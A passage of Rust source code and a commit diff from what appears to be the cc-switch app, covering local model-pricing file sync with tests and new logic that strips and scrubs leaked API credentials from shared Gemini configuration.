.map_err(|error| AppError::Database(format!("更新模型定价失败: {error}")))
}
fn apply_file_to_database(
db: &Database,
file: &ModelPricingFile,
) -> Result<(usize, usize), AppError> {
let mut conn = lock_conn!(db.conn);
let transaction = conn.transaction()?;
let mut upserted = 0;
for entry in &file.models {
upserted += upsert_pricing(&transaction, entry)?;
}
let mut deleted = 0;
for model_id in &file.deleted_model_ids {
deleted += transaction.execute(
"DELETE FROM model_pricing WHERE model_id = ?1",
params![model_id],
)?;
}
transaction.commit()?;
Ok((upserted, deleted))
}
/// Load user-maintained overrides from `~/.cc-switch/model-pricing.json`.
/// Built-in rows remain database-owned so application updates can repair them;
/// the file contains only explicit overrides and deletion tombstones.
pub fn sync_local_model_pricing(db: &Database) -> Result<usize, AppError> {
let (upserted, deleted) = {
let _file_guard = file_lock()
.lock()
.map_err(|error| AppError::Config(format!("模型定价文件锁失败: {error}")))?;
let file = load_or_create_file_unlocked()?;
apply_file_to_database(db, &file)?
};
// Deleting pricing cannot make a zero-cost usage row calculable. In
// particular, seeded rows covered by tombstones may be reinserted and
// deleted on every startup; they must not trigger a full-table backfill.
if upserted > 0 {
if let Err(error) = db.backfill_missing_usage_costs() {
log::warn!("本地模型定价同步后回填历史用量成本失败: {error}");
}
}
Ok(upserted + deleted)
}
pub fn get_models_dev_sync_state(db: &Database) -> Result<ModelsDevSyncState, AppError> {
sync_local_model_pricing(db)?;
let _file_guard = file_lock()
.lock()
.map_err(|error| AppError::Config(format!("模型定价文件锁失败: {error}")))?;
let file = load_or_create_file_unlocked()?;
Ok(ModelsDevSyncState {
config: file.models_dev_sync,
config_path: model_pricing_file_path().display().to_string(),
})
}
pub fn save_models_dev_sync_config(
db: &Database,
config: ModelsDevSyncConfig,
) -> Result<(), AppError> {
sync_local_model_pricing(db)?;
let _file_guard = file_lock()
.lock()
.map_err(|error| AppError::Config(format!("模型定价文件锁失败: {error}")))?;
let mut file = load_or_create_file_unlocked()?;
file.models_dev_sync = normalize_sync_config(config);
write_file_unlocked(&file)
}
/// Persist only the outcome of a models.dev sync. Keeping this separate from
/// `save_models_dev_sync_config` prevents a slow startup fetch from restoring
/// stale switches or model selections that the user changed in the meantime.
pub fn record_models_dev_sync_result(
db: &Database,
synced_at: Option<i64>,
error: Option<String>,
) -> Result<(), AppError> {
sync_local_model_pricing(db)?;
let _file_guard = file_lock()
.lock()
.map_err(|lock_error| AppError::Config(format!("模型定价文件锁失败: {lock_error}")))?;
let mut file = load_or_create_file_unlocked()?;
if let Some(synced_at) = synced_at {
file.models_dev_sync.last_sync_at = Some(synced_at);
}
file.models_dev_sync.last_sync_error = error;
file.models_dev_sync = normalize_sync_config(file.models_dev_sync);
write_file_unlocked(&file)
}
fn update_model_pricing_batch_inner(
db: &Database,
entries: Vec<ModelPricingInfo>,
backfill_all: bool,
) -> Result<usize, AppError> {
if entries.is_empty() {
return Ok(0);
}
let mut normalized = BTreeMap::new();
for entry in entries {
let entry = normalize_pricing(entry)?;
normalized.insert(entry.model_id.clone(), entry);
}
let entries = normalized.into_values().collect::<Vec<_>>();
let model_ids = entries
.iter()
.map(|entry| entry.model_id.clone())
.collect::<Vec<_>>();
sync_local_model_pricing(db)?;
let changed = {
let _file_guard = file_lock()
.lock()
.map_err(|error| AppError::Config(format!("模型定价文件锁失败: {error}")))?;
let mut file = load_or_create_file_unlocked()?;
let mut file_models = file
.models
.into_iter()
.map(|entry| (entry.model_id.clone(), entry))
.collect::<BTreeMap<_, _>>();
let updated_ids = entries
.iter()
.map(|entry| entry.model_id.clone())
.collect::<BTreeSet<_>>();
for entry in &entries {
file_models.insert(entry.model_id.clone(), entry.clone());
}
file.models = file_models.into_values().collect();
file.deleted_model_ids
.retain(|model_id| !updated_ids.contains(model_id));
let mut conn = lock_conn!(db.conn);
let transaction = conn.transaction()?;
let mut changed = 0;
for entry in &entries {
changed += upsert_pricing(&transaction, entry)?;
}
write_file_unlocked(&file)?;
transaction.commit()?;
changed
};
if changed > 0 {
if backfill_all {
if let Err(error) = db.backfill_missing_usage_costs() {
log::warn!("批量更新模型定价后回填历史用量成本失败: {error}");
}
} else {
for model_id in model_ids {
if let Err(error) = db.backfill_missing_usage_costs_for_model(&model_id) {
log::warn!("模型定价更新后回填历史用量成本失败 (model_id={model_id}): {error}");
}
}
}
}
Ok(changed)
}
pub fn update_model_pricing(db: &Database, entry: ModelPricingInfo) -> Result<usize, AppError> {
update_model_pricing_batch_inner(db, vec![entry], false)
}
pub fn update_model_pricing_batch(
db: &Database,
entries: Vec<ModelPricingInfo>,
) -> Result<usize, AppError> {
update_model_pricing_batch_inner(db, entries, true)
}
pub fn delete_model_pricing(db: &Database, model_id: &str) -> Result<(), AppError> {
let model_id = model_id.trim();
if model_id.is_empty() {
return Err(AppError::localized(
"usage.modelIdRequired",
"模型 ID 不能为空",
"Model ID is required",
));
}
sync_local_model_pricing(db)?;
let _file_guard = file_lock()
.lock()
.map_err(|error| AppError::Config(format!("模型定价文件锁失败: {error}")))?;
let mut file = load_or_create_file_unlocked()?;
file.models.retain(|entry| entry.model_id != model_id);
if !file.deleted_model_ids.iter().any(|entry| entry == model_id) {
file.deleted_model_ids.push(model_id.to_string());
file.deleted_model_ids.sort();
}
let mut conn = lock_conn!(db.conn);
let transaction = conn.transaction()?;
transaction.execute(
"DELETE FROM model_pricing WHERE model_id = ?1",
params![model_id],
)?;
write_file_unlocked(&file)?;
transaction.commit()?;
Ok(())
}
#[cfg(test)]
mod tests {
use super::*;
use serial_test::serial;
fn with_test_home(test: impl FnOnce(&Database, &PathBuf)) {
let temp = tempfile::tempdir().expect("tempdir");
let previous = std::env::var_os("CC_SWITCH_TEST_HOME");
std::env::set_var("CC_SWITCH_TEST_HOME", temp.path());
let db = Database::memory().expect("memory database");
let path = model_pricing_file_path();
test(&db, &path);
match previous {
Some(value) => std::env::set_var("CC_SWITCH_TEST_HOME", value),
None => std::env::remove_var("CC_SWITCH_TEST_HOME"),
}
}
fn sample_pricing() -> ModelPricingInfo {
ModelPricingInfo {
model_id: "custom-model".to_string(),
display_name: "Custom Model".to_string(),
input_cost_per_million: "1.25".to_string(),
output_cost_per_million: "5".to_string(),
cache_read_cost_per_million: "0.1".to_string(),
cache_creation_cost_per_million: "1.5".to_string(),
}
}
#[test]
#[serial]
fn creates_local_file_with_auto_sync_disabled_by_default() {
with_test_home(|db, path| {
let state = get_models_dev_sync_state(db).expect("sync state");
assert!(path.exists());
assert!(!state.config.auto_sync_enabled);
assert!(state.config.include_common_models);
assert_eq!(state.config_path, path.display().to_string());
let content = fs::read_to_string(path).expect("read pricing file");
let file: ModelPricingFile = serde_json::from_str(&content).expect("parse file");
assert!(file.models.is_empty());
});
}
#[test]
#[serial]
fn empty_override_file_does_not_roll_back_builtin_pricing_repairs() {
with_test_home(|db, path| {
get_models_dev_sync_state(db).expect("create override file");
{
let conn = db.conn.lock().expect("lock test database");
assert_eq!(
conn.execute(
"UPDATE model_pricing
SET input_cost_per_million = '99'
WHERE model_id = 'claude-sonnet-5'",
[],
)
.expect("simulate built-in pricing repair"),
1
);
}
assert_eq!(sync_local_model_pricing(db).expect("reload overrides"), 0);
let conn = db.conn.lock().expect("lock test database");
let input: String = conn
.query_row(
"SELECT input_cost_per_million
FROM model_pricing WHERE model_id = 'claude-sonnet-5'",
[],
|row| row.get(0),
)
.expect("query repaired pricing");
drop(conn);
assert_eq!(input, "99");
let content = fs::read_to_string(path).expect("read override file");
let file: ModelPricingFile = serde_json::from_str(&content).expect("parse file");
assert!(file.models.is_empty());
});
}
#[test]
#[serial]
fn models_dev_batch_sync_overwrites_existing_manual_pricing() {
with_test_home(|db, path| {
let mut manual = sample_pricing();
manual.input_cost_per_million = "9".to_string();
manual.output_cost_per_million = "18".to_string();
update_model_pricing(db, manual).expect("save manual pricing");
let synced = sample_pricing();
update_model_pricing_batch(db, vec![synced.clone()]).expect("sync models.dev pricing");
let conn = db.conn.lock().expect("lock test database");
let input: String = conn
.query_row(
"SELECT input_cost_per_million FROM model_pricing WHERE model_id = ?1",
params!["custom-model"],
|row| row.get(0),
)
.expect("query synced pricing");
drop(conn);
assert_eq!(input, synced.input_cost_per_million);
let content = fs::read_to_string(path).expect("read pricing file");
let file: ModelPricingFile = serde_json::from_str(&content).expect("parse file");
let saved = file
.models
.iter()
.find(|entry| entry.model_id == "custom-model")
.expect("saved synced pricing");
assert_eq!(saved, &synced);
});
}
#[test]
#[serial]
fn batch_update_and_delete_are_persisted_to_local_file() {
with_test_home(|db, path| {
assert_eq!(
update_model_pricing_batch(db, vec![sample_pricing()]).expect("batch update"),
1
);
let content = fs::read_to_string(path).expect("read pricing file");
let file: ModelPricingFile = serde_json::from_str(&content).expect("parse file");
assert!(file
.models
.iter()
.any(|entry| entry.model_id == "custom-model"));
delete_model_pricing(db, "custom-model").expect("delete pricing");
let content = fs::read_to_string(path).expect("read updated file");
let file: ModelPricingFile =
serde_json::from_str(&content).expect("parse updated file");
assert!(!file
.models
.iter()
.any(|entry| entry.model_id == "custom-model"));
assert!(file
.deleted_model_ids
.iter()
.any(|entry| entry == "custom-model"));
});
}
#[test]
#[serial]
fn reloads_manual_file_edits_and_deletion_tombstones() {
with_test_home(|db, path| {
get_models_dev_sync_state(db).expect("create pricing file");
let content = fs::read_to_string(path).expect("read pricing file");
let mut file: ModelPricingFile =
serde_json::from_str(&content).expect("parse pricing file");
file.models.push(sample_pricing());
fs::write(
path,
serde_json::to_vec_pretty(&file).expect("serialize file"),
)
.expect("write manual edit");
assert_eq!(sync_local_model_pricing(db).expect("reload file"), 1);
{
let conn = db.conn.lock().expect("lock test database");
let input: String = conn
.query_row(
"SELECT input_cost_per_million FROM model_pricing WHERE model_id = ?1",
params!["custom-model"],
|row| row.get(0),
)
.expect("query manually added pricing");
assert_eq!(input, "1.25");
}
let content = fs::read_to_string(path).expect("read updated pricing file");
let mut file: ModelPricingFile =
serde_json::from_str(&content).expect("parse updated pricing file");
file.deleted_model_ids.push("custom-model".to_string());
fs::write(
path,
serde_json::to_vec_pretty(&file).expect("serialize tombstone"),
)
.expect("write tombstone");
assert_eq!(sync_local_model_pricing(db).expect("apply tombstone"), 1);
let conn = db.conn.lock().expect("lock test database");
let count: i64 = conn
.query_row(
"SELECT COUNT(*) FROM model_pricing WHERE model_id = ?1",
params!["custom-model"],
|row| row.get(0),
)
.expect("query deleted pricing");
assert_eq!(count, 0);
});
}
#[test]
#[serial]
fn repeated_seeded_tombstone_deletion_does_not_backfill_unrelated_usage() {
with_test_home(|db, _path| {
get_models_dev_sync_state(db).expect("create override file");
{
let conn = db.conn.lock().expect("lock test database");
conn.execute(
"INSERT INTO proxy_request_logs (
request_id, provider_id, app_type, model, request_model,
input_tokens, output_tokens, cache_read_tokens, cache_creation_tokens,
input_cost_usd, output_cost_usd, cache_read_cost_usd,
cache_creation_cost_usd, total_cost_usd, latency_ms,
status_code, created_at, data_source
) VALUES (
'pending-cost', 'test-provider', 'codex', 'gpt-5', 'gpt-5',
1000000, 0, 0, 0, '0', '0', '0', '0', '0', 100, 200, 1, 'proxy'
)",
[],
)
.expect("insert zero-cost usage");
}
delete_model_pricing(db, "claude-sonnet-5").expect("create tombstone");
db.ensure_model_pricing_seeded()
.expect("reseed built-in pricing");
assert_eq!(sync_local_model_pricing(db).expect("apply tombstone"), 1);
let conn = db.conn.lock().expect("lock test database");
let deleted_count: i64 = conn
.query_row(
"SELECT COUNT(*) FROM model_pricing
WHERE model_id = 'claude-sonnet-5'",
[],
|row| row.get(0),
)
.expect("query tombstoned pricing");
let total_cost: f64 = conn
.query_row(
"SELECT CAST(total_cost_usd AS REAL)
FROM proxy_request_logs WHERE request_id = 'pending-cost'",
[],
|row| row.get(0),
)
.expect("query pending usage cost");
assert_eq!(deleted_count, 0);
assert_eq!(total_cost, 0.0);
});
}
#[test]
#[serial]
fn recording_sync_result_preserves_user_selection_and_switches() {
with_test_home(|db, _path| {
let config = ModelsDevSyncConfig {
auto_sync_enabled: false,
include_common_models: false,
selected_model_keys: vec!["relay/custom-model".to_string()],
excluded_common_model_keys: vec!["openai/gpt-5".to_string()],
last_sync_at: Some(123),
last_sync_error: Some("old error".to_string()),
};
save_models_dev_sync_config(db, config.clone()).expect("save sync config");
record_models_dev_sync_result(db, Some(456), None).expect("record success");
let state = get_models_dev_sync_state(db).expect("read sync state");
assert_eq!(state.config.auto_sync_enabled, config.auto_sync_enabled);
assert_eq!(
state.config.include_common_models,
config.include_common_models
);
assert_eq!(state.config.selected_model_keys, config.selected_model_keys);
assert_eq!(
state.config.excluded_common_model_keys,
config.excluded_common_model_keys
);
assert_eq!(state.config.last_sync_at, Some(456));
assert_eq!(state.config.last_sync_error, None);
record_models_dev_sync_result(db, None, Some("offline".to_string()))
.expect("record failure");
let state = get_models_dev_sync_state(db).expect("read failure state");
assert_eq!(state.config.last_sync_at, Some(456));
assert_eq!(state.config.last_sync_error.as_deref(), Some("offline"));
});
}
}
+735 -5
View File
@@ -702,6 +702,469 @@ mod tests {
);
}
#[test]
fn extract_gemini_common_config_strips_credentials_keeps_shareable() {
// Gemini 的共享片段会被 deep-merge 回**其它** Gemini 供应商的 env
// (live.rs::apply_common_config_to_settings),因此任何凭据都不得进入片段。
// 之前这里只硬编码跳过 GEMINI_API_KEY/GOOGLE_GEMINI_BASE_URL,而
// GOOGLE_API_KEY 是 provider.rs 认可的一等 Gemini 凭据 → 会泄露到别的供应商。
let settings = json!({
"env": {
"GEMINI_API_KEY": "g-gem",
"GOOGLE_API_KEY": "g-legacy-real-key",
"GOOGLE_GEMINI_BASE_URL": "https://gemini.example",
"GOOGLE_APPLICATION_CREDENTIALS": "/path/creds.json",
"SOME_PROXY_AUTH_TOKEN": "tok-proxy",
// 可共享的非机密配置必须保留
"GEMINI_TIMEOUT_MS": "30000"
}
});
let snippet =
ProviderService::extract_gemini_common_config(&settings).expect("extract should work");
let value: Value = serde_json::from_str(&snippet).expect("snippet is valid JSON");
for leaked in [
"GEMINI_API_KEY",
"GOOGLE_API_KEY",
"GOOGLE_APPLICATION_CREDENTIALS",
"SOME_PROXY_AUTH_TOKEN",
] {
assert!(
value.get(leaked).is_none(),
"credential {leaked} must not leak into the shared Gemini snippet"
);
}
assert_eq!(
value.get("GEMINI_TIMEOUT_MS").and_then(|v| v.as_str()),
Some("30000"),
"shareable non-secret config must be preserved"
);
}
/// 造一个「已被污染」的现场:片段里带 A 账号的凭据 + 一个合法可共享键。
#[test]
fn sensitive_key_matcher_covers_common_credential_namings() {
for key in [
// 裸 `_KEY`:最常见的写法,却曾被"只枚举 `_API_KEY` 这些子类"漏在外面
"OPENAI_KEY",
"GROQ_KEY",
"XAI_KEY",
// 不带分隔符的复合写法
"VOLC_ACCESSKEY",
"ALIYUN_SECRETKEY",
"SOME_APITOKEN",
// personal access token:既不含 TOKEN 也不含 KEY
"GITHUB_PAT",
"gitlab_pat",
// 口令类缩写
"MYSQL_PWD",
"DB_PASS",
"GPG_PASSPHRASE",
"AWS_CREDS",
] {
assert!(
ProviderService::is_sensitive_config_key(key),
"{key} must be treated as a credential"
);
}
// 后缀必须带下划线,不能把正常配置一起卷进来
for key in [
"PATH",
"OLDPWD",
"GEMINI_COMPAT",
"SSL_BYPASS",
"GEMINI_TIMEOUT_MS",
"CLAUDE_CODE_MAX_OUTPUT_TOKENS",
] {
assert!(
!ProviderService::is_sensitive_config_key(key),
"{key} is ordinary shareable config and must not be stripped"
);
}
}
fn seed_leaked_gemini_state(db: &Arc<Database>) {
db.set_config_snippet(
"gemini",
Some(
json!({
"GOOGLE_API_KEY": "key-A-leaked",
"SOME_PROXY_AUTH_TOKEN": "tok-A-leaked",
"GEMINI_TIMEOUT_MS": "30000"
})
.to_string(),
),
)
.expect("seed snippet");
// 受害者 B:泄漏的密钥已经被合并进它的 env
let victim = Provider::with_id(
"b".into(),
"Relay B".into(),
json!({ "env": {
"GOOGLE_GEMINI_BASE_URL": "https://relay-b.example",
"GOOGLE_API_KEY": "key-A-leaked",
"GEMINI_TIMEOUT_MS": "30000"
}}),
None,
);
db.save_provider("gemini", &victim).expect("save victim");
// 供应商 C:自己写了同名键但值不同,不能被误删
let unrelated = Provider::with_id(
"c".into(),
"Own Key C".into(),
json!({ "env": {
"GOOGLE_GEMINI_BASE_URL": "https://c.example",
"GOOGLE_API_KEY": "key-C-owned"
}}),
None,
);
db.save_provider("gemini", &unrelated).expect("save c");
}
#[tokio::test]
#[serial]
async fn scrub_gemini_removes_leaked_credentials_from_snippet_and_providers() {
let _home = TempHome::new();
crate::settings::reload_settings().expect("reload settings");
let db = Arc::new(Database::memory().expect("init db"));
let state = AppState::new(db.clone());
seed_leaked_gemini_state(&db);
ProviderService::scrub_leaked_gemini_common_config(&state)
.await
.expect("scrub must succeed");
// 片段:凭据清掉,可共享配置保留
let snippet = db
.get_config_snippet("gemini")
.expect("read snippet")
.expect("snippet must still exist");
let snippet: Value = serde_json::from_str(&snippet).expect("valid json");
assert!(snippet.get("GOOGLE_API_KEY").is_none());
assert!(snippet.get("SOME_PROXY_AUTH_TOKEN").is_none());
assert_eq!(
snippet.get("GEMINI_TIMEOUT_MS").and_then(Value::as_str),
Some("30000"),
"shareable config must survive the scrub"
);
// 受害者 B:扩散过去的那一份被清掉
let providers = db.get_all_providers("gemini").expect("providers");
let victim_env = &providers["b"].settings_config["env"];
assert!(
victim_env.get("GOOGLE_API_KEY").is_none(),
"leaked key must be removed from the victim provider"
);
assert_eq!(
victim_env.get("GEMINI_TIMEOUT_MS").and_then(Value::as_str),
Some("30000"),
"non-credential config must not be touched"
);
}
#[tokio::test]
#[serial]
async fn scrub_gemini_keeps_a_providers_own_differently_valued_key() {
let _home = TempHome::new();
crate::settings::reload_settings().expect("reload settings");
let db = Arc::new(Database::memory().expect("init db"));
let state = AppState::new(db.clone());
seed_leaked_gemini_state(&db);
ProviderService::scrub_leaked_gemini_common_config(&state)
.await
.expect("scrub must succeed");
// 这条最容易写错成「按键名一刀切」:C 自己的密钥值与片段不同,是它自己的凭据
let providers = db.get_all_providers("gemini").expect("providers");
assert_eq!(
providers["c"].settings_config["env"]
.get("GOOGLE_API_KEY")
.and_then(Value::as_str),
Some("key-C-owned"),
"a provider's own key must not be deleted by name matching"
);
}
#[tokio::test]
#[serial]
async fn scrub_gemini_audit_records_key_names_but_never_values() {
let _home = TempHome::new();
crate::settings::reload_settings().expect("reload settings");
let db = Arc::new(Database::memory().expect("init db"));
let state = AppState::new(db.clone());
seed_leaked_gemini_state(&db);
ProviderService::scrub_leaked_gemini_common_config(&state)
.await
.expect("scrub must succeed");
let audit_text = db
.get_setting("gemini_common_config_scrub_audit_v1")
.expect("read audit")
.expect("an audit record must exist so the deletion is not silent");
// 值绝不能进这条记录:`settings` 会随 WebDAV/S3 同步上传,留值等于把一次
// 清除换成一份跨设备扩散、没有界面入口、永不过期的明文副本。
assert!(
!audit_text.contains("key-A-leaked") && !audit_text.contains("tok-A-leaked"),
"the audit record must never carry credential values: {audit_text}"
);
// 但必须说清楚删了什么、从哪删的,否则用户只能靠翻日志
let audit: Value = serde_json::from_str(&audit_text).expect("audit is JSON");
let removed: Vec<&str> = audit["removedFromSnippet"]
.as_array()
.expect("removedFromSnippet array")
.iter()
.filter_map(Value::as_str)
.collect();
assert!(
removed.contains(&"GOOGLE_API_KEY") && removed.contains(&"SOME_PROXY_AUTH_TOKEN"),
"every key removed from the snippet must be named: {audit}"
);
let victim = audit["providers"]
.as_array()
.expect("providers array")
.iter()
.find(|entry| entry["id"] == json!("b"))
.expect("every provider whose config gets rewritten must be recorded");
assert_eq!(
victim["removedKeys"],
json!(["GOOGLE_API_KEY"]),
"the record must name what was taken from each provider: {audit}"
);
}
#[tokio::test]
#[serial]
async fn scrub_gemini_never_overwrites_an_existing_audit_record() {
let _home = TempHome::new();
crate::settings::reload_settings().expect("reload settings");
let db = Arc::new(Database::memory().expect("init db"));
let state = AppState::new(db.clone());
seed_leaked_gemini_state(&db);
// 上一轮改到一半就中止的情形:完成标记没置位,下次启动会重跑,但那时
// 读到的"原始状态"已经残缺。无条件覆盖会拿残缺记录盖掉第一轮那份完整的。
db.set_setting(
"gemini_common_config_scrub_audit_v1",
"{\"from\":\"an earlier, complete run\"}",
)
.expect("seed an existing audit record");
ProviderService::scrub_leaked_gemini_common_config(&state)
.await
.expect("scrub must succeed");
assert_eq!(
db.get_setting("gemini_common_config_scrub_audit_v1")
.expect("read audit")
.as_deref(),
Some("{\"from\":\"an earlier, complete run\"}"),
"an audit record from an earlier run must survive a retry"
);
}
#[tokio::test]
#[serial]
async fn scrub_gemini_cleans_the_live_env_without_a_current_provider() {
let _home = TempHome::new();
crate::settings::reload_settings().expect("reload settings");
let db = Arc::new(Database::memory().expect("init db"));
let state = AppState::new(db.clone());
seed_leaked_gemini_state(&db);
// 没有当前供应商——这正是 sync_current_provider_for_app 直接返回 Ok 而
// 根本不写文件的分支。此时 live 若清不掉,片段又已被清空,下次切换的
// backfill 就会把残留永久写进受害供应商的配置。
crate::gemini_config::write_gemini_env_atomic(&HashMap::from([
("GOOGLE_API_KEY".to_string(), "key-A-leaked".to_string()),
("GEMINI_TIMEOUT_MS".to_string(), "30000".to_string()),
// 只存在于 live 的手工修改:定向删除必须保住它,全量重投影会抹掉
(
"HTTPS_PROXY".to_string(),
"http://127.0.0.1:7890".to_string(),
),
]))
.expect("seed live env");
ProviderService::scrub_leaked_gemini_common_config(&state)
.await
.expect("scrub must succeed");
let live = crate::gemini_config::read_gemini_env().expect("read live env");
assert!(
!live.contains_key("GOOGLE_API_KEY"),
"the leaked credential must be gone from ~/.gemini/.env: {live:?}"
);
assert_eq!(
live.get("HTTPS_PROXY").map(String::as_str),
Some("http://127.0.0.1:7890"),
"a hand-added live-only var must survive targeted removal: {live:?}"
);
}
#[tokio::test]
#[serial]
async fn scrub_gemini_live_cleanup_preserves_the_rest_of_the_env_file() {
let _home = TempHome::new();
crate::settings::reload_settings().expect("reload settings");
let db = Arc::new(Database::memory().expect("init db"));
let state = AppState::new(db.clone());
seed_leaked_gemini_state(&db);
// 这是一次用户没主动触发的启动期清理,不该顺手重写与泄漏无关的内容。
// read→HashMap→write 的往返会把注释、空行、无法识别的行全丢掉并按键名重排。
let original = "\
# my own notes
GOOGLE_API_KEY=key-C-owned
GOOGLE_API_KEY=key-A-leaked
this line is not KEY=VALUE at all
GEMINI_TIMEOUT_MS=30000
";
crate::gemini_config::write_gemini_env_text_atomic(original).expect("seed live env");
ProviderService::scrub_leaked_gemini_common_config(&state)
.await
.expect("scrub must succeed");
let raw = std::fs::read_to_string(crate::gemini_config::get_gemini_env_path())
.expect("read live env");
assert!(
!raw.contains("key-A-leaked"),
"the leaked line must be gone: {raw:?}"
);
assert!(
raw.contains("# my own notes"),
"comments must survive a targeted removal: {raw:?}"
);
assert!(
raw.contains("this line is not KEY=VALUE at all"),
"unparseable lines must survive a targeted removal: {raw:?}"
);
// 被泄漏值遮住的那条重新生效——正是想要的结果,遮住它的恰恰是泄漏值
assert_eq!(
crate::gemini_config::read_gemini_env()
.expect("read live env")
.get("GOOGLE_API_KEY")
.map(String::as_str),
Some("key-C-owned"),
"only the matching line may be dropped: {raw:?}"
);
}
#[tokio::test]
#[serial]
async fn scrub_gemini_aborts_before_clearing_the_snippet_when_the_live_backup_fails() {
let _home = TempHome::new();
crate::settings::reload_settings().expect("reload settings");
let db = Arc::new(Database::memory().expect("init db"));
let state = AppState::new(db.clone());
seed_leaked_gemini_state(&db);
// 关代理时这份快照会被原样写回 live。若清不动它却照样清了片段、置了完成标记,
// 代理一停凭据就复活,而一次性标记保证不会再清第二次。
db.save_live_backup("gemini", "}not json{")
.await
.expect("seed backup");
let result = ProviderService::scrub_leaked_gemini_common_config(&state).await;
assert!(
result.is_err(),
"a backup that cannot be cleaned must abort the scrub"
);
// 片段是「该剥哪些键」的唯一知识来源,中止后必须原样留着,否则下次重试
// 会因为 poison 为空而直接短路,反倒把标记置上
let snippet = db
.get_config_snippet("gemini")
.expect("read snippet")
.expect("snippet must still exist");
assert!(
snippet.contains("key-A-leaked"),
"the snippet must be left intact so the next boot can retry: {snippet}"
);
assert!(
db.get_setting("gemini_common_config_credentials_scrubbed_v1")
.expect("read flag")
.is_none(),
"the one-shot flag must not be set when the scrub aborted"
);
}
#[tokio::test]
#[serial]
async fn scrub_gemini_leaves_no_residue_for_backfill_to_persist() {
let _home = TempHome::new();
crate::settings::reload_settings().expect("reload settings");
let db = Arc::new(Database::memory().expect("init db"));
let state = AppState::new(db.clone());
seed_leaked_gemini_state(&db);
ProviderService::scrub_leaked_gemini_common_config(&state)
.await
.expect("scrub must succeed");
// 顺序陷阱回归:如果只清了片段,切走供应商时 remove_common_config_from_settings
// 就不再认识这个键,live 里的残留会被 backfill 永久写进供应商配置。
// 清理必须是原子的——清完之后,任何地方都不该再有那个值。
let snippet = db
.get_config_snippet("gemini")
.expect("read snippet")
.unwrap_or_default();
assert!(!snippet.contains("key-A-leaked"));
for (id, provider) in db.get_all_providers("gemini").expect("providers") {
assert!(
!provider
.settings_config
.to_string()
.contains("key-A-leaked"),
"provider '{id}' still carries the leaked value"
);
}
}
#[tokio::test]
#[serial]
async fn scrub_gemini_is_idempotent_and_skips_on_second_run() {
let _home = TempHome::new();
crate::settings::reload_settings().expect("reload settings");
let db = Arc::new(Database::memory().expect("init db"));
let state = AppState::new(db.clone());
seed_leaked_gemini_state(&db);
ProviderService::scrub_leaked_gemini_common_config(&state)
.await
.expect("first run");
// 第二次必须是 no-op:用户清理后重新填的凭据不能被再抹一遍
db.set_config_snippet(
"gemini",
Some(json!({"GOOGLE_API_KEY": "restored"}).to_string()),
)
.expect("user re-adds a value");
ProviderService::scrub_leaked_gemini_common_config(&state)
.await
.expect("second run");
let snippet = db
.get_config_snippet("gemini")
.expect("read snippet")
.expect("snippet exists");
assert!(
snippet.contains("restored"),
"the one-shot flag must prevent a second scrub: {snippet}"
);
}
#[test]
fn extract_claude_common_config_strips_all_credentials_keeps_shareable() {
// env 混入多种凭据(Anthropic/OpenRouter/Google/OpenAI/Gemini + AWS/Vertex
@@ -2627,6 +3090,7 @@ impl ProviderService {
// Use effective current provider (validated existence) to ensure backfill targets valid provider
let current_id = crate::settings::get_effective_current_provider(&state.db, &app_type)?;
let mut backfill_completed = false;
if let Some(current_id) = current_id {
if current_id != id {
// Additive mode apps - all providers coexist in the same file,
@@ -2660,6 +3124,8 @@ impl ProviderService {
result
.warnings
.push(format!("backfill_failed:{current_id}"));
} else {
backfill_completed = true;
}
}
}
@@ -2679,6 +3145,30 @@ impl ProviderService {
// Sync to live (write_gemini_live handles security flag internally for Gemini)
write_live_with_common_config(state.db.as_ref(), &app_type, provider)?;
// A material-less official Codex provider gets a config-only live
// write, which can leave the previous third-party key in
// ~/.codex/auth.json and strand the user on a 401 with no login
// screen. Only clean up after a successful backfill — the DB copy
// made above is what keeps that key recoverable. Failures degrade to
// a log entry: config.toml and is_current are already committed, so
// failing the switch here would report a switch that in fact happened.
if matches!(app_type, AppType::Codex)
&& backfill_completed
&& provider.category.as_deref() == Some("official")
{
let db_auth = provider.settings_config.get("auth");
match crate::codex_config::clear_stale_codex_live_auth_after_official_switch(
db_auth.unwrap_or(&serde_json::Value::Null),
) {
Ok(true) => log::info!(
"Removed stale third-party auth.json after switching to official Codex provider '{}'",
provider.id
),
Ok(false) => {}
Err(e) => log::warn!("Failed to clean stale Codex auth.json: {e}"),
}
}
// Hermes is additive, so "switching" doesn't overwrite a live config file
// — we instead update the top-level `model:` section to point at this
// provider's first declared model. Without this, clicking "switch" would
@@ -3029,20 +3519,39 @@ impl ProviderService {
/// `OPENROUTER_API_KEY` / `GOOGLE_API_KEY` 等回退)、各类 `*_AUTH_TOKEN` /
/// 单数 `*_TOKEN`、AWS Bedrock / Vertex 凭据、以及通用 secret / password /
/// 私钥命名。
fn is_sensitive_config_key(name: &str) -> bool {
pub(crate) fn is_sensitive_config_key(name: &str) -> bool {
let upper = name.to_ascii_uppercase();
// 单数 `_TOKEN` 命中 AWS_SESSION_TOKEN 等,但**不**误伤复数 `_TOKENS`
// CLAUDE_CODE_MAX_OUTPUT_TOKENS / MAX_THINKING_TOKENS 是正常可共享配置)。
const SENSITIVE_SUFFIXES: &[&str] = &[
// 裸 `_KEY` 是最常见的凭据写法(OPENAI_KEY / GROQ_KEY / XAI_KEY…),
// 必须单列:只枚举 `_API_KEY` / `_ACCESS_KEY` 这些子类,等于把最普通
// 的那一种漏在外面。下面几条 `_*_KEY` 被它蕴含,保留是为了说明覆盖面。
"_KEY",
"_API_KEY",
"_APIKEY",
"_AUTH_TOKEN",
"_TOKEN",
"_ACCESS_KEY",
"_ACCESS_KEY_ID",
"_KEY_ID",
"_PRIVATE_KEY",
// 不带分隔符的复合写法各走各的后缀:`_KEY` 够不着 `..._APIKEY`
// (倒数第四个字符是 I 不是下划线)。VOLC_ACCESSKEY 是火山引擎文档
// 里的正式变量名,本仓库就实现了火山 AK/SK 用量查询。
"_APIKEY",
"_ACCESSKEY",
"_SECRETKEY",
"_APITOKEN",
"_AUTH_TOKEN",
"_TOKEN",
// GITHUB_PAT / GITLAB_PAT 等 personal access token 的惯用写法,
// 既不含 TOKEN 也不含 KEY,前面每一条规则都够不着。
"_PAT",
// 口令类的常见缩写。`_PASS` 不会误伤 `*_BYPASS`(那个以 `_BYPASS`
// 结尾),`_PWD` 也不会误伤 shell 的 PWD / OLDPWD。
"_PWD",
"_PASS",
"_PASSPHRASE",
"_CREDS",
];
const SENSITIVE_EXACT: &[&str] = &[
"APIKEY",
@@ -3242,7 +3751,13 @@ impl ProviderService {
let mut snippet = serde_json::Map::new();
if let Some(env) = env {
for (key, value) in env {
